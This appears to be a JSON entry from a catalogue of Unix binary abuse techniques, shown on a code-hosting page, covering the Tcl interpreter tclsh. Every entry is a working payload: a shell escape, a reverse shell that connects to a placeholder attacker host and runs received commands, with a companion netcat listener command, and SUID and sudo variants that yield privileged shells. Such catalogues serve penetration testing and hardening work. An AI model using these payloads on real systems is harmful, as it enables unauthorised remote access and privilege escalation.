You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
25 lines
714 B
JSON
25 lines
714 B
JSON
{
|
|
"functions": {
|
|
"shell": [
|
|
{
|
|
"code": "tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n"
|
|
}
|
|
],
|
|
"non-interactive-reverse-shell": [
|
|
{
|
|
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
|
|
"code": "echo 'set s [socket \"[host]\" [port]];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh\n"
|
|
}
|
|
],
|
|
"suid": [
|
|
{
|
|
"code": "./tclsh\nexec /bin/sh -p <@stdin >@stdout 2>@stderr\n"
|
|
}
|
|
],
|
|
"sudo": [
|
|
{
|
|
"code": "sudo tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n"
|
|
}
|
|
]
|
|
}
|
|
} |